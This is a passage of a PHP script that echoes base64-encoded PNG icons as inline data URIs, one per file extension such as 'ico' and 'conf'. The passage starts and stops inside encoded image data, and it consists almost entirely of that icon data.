BHMAB/ylg6DzmMVQVMFxgHsM5gAM4oK8Btn2WxQcoxr2AJNk/YjHk76ZA0iEfeoAG4JAoi9+omgrJU/+Ii5BvR8k3+dBCGoB1V3GgJ7+FswuoGv8R2gvxADNk36eirAD3X0Nt3y9tpHgNXIWnTZS0U6BdgLNCyDZJekySF4chQOgUxV8z4Jj0RxS/mAwArIDCNjgehWOqYABAeC6KXxOEmT9F8WO8IYAlUFkj7IWfKYIhAKFGFN9M+yGKnYJBgIVQuguPlUYBhLN4tXkpGAaY/wcBlhoHWPAXAZYbB7iI/wUdhgEWo+0BHquNAsAM+J0IgvdxxgCWQeW4kAw/1xoDeA0VsxDXJYpdCUYAVkGhBo5b4LjBAEDcOygsg2T6L9iUJvc+YA203+KsALLNvQ6I/9S9Cy5Ct2DTehuwHpqf/dPvZeCmlClgttlslsz3OdCc5c9nQJ4kGQrNufydETFgGHvAMFXAYBPr85sGq3/FYixrwJgevuXSPyaW5eljY/rLTvgP+qXsSsZ+8zgAAAAASUVORK5CYII="; } elseif ($ext == "ico") { echo "data:image/png;base64,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"; } elseif ($ext == "conf") { echo "data:image/png;base64,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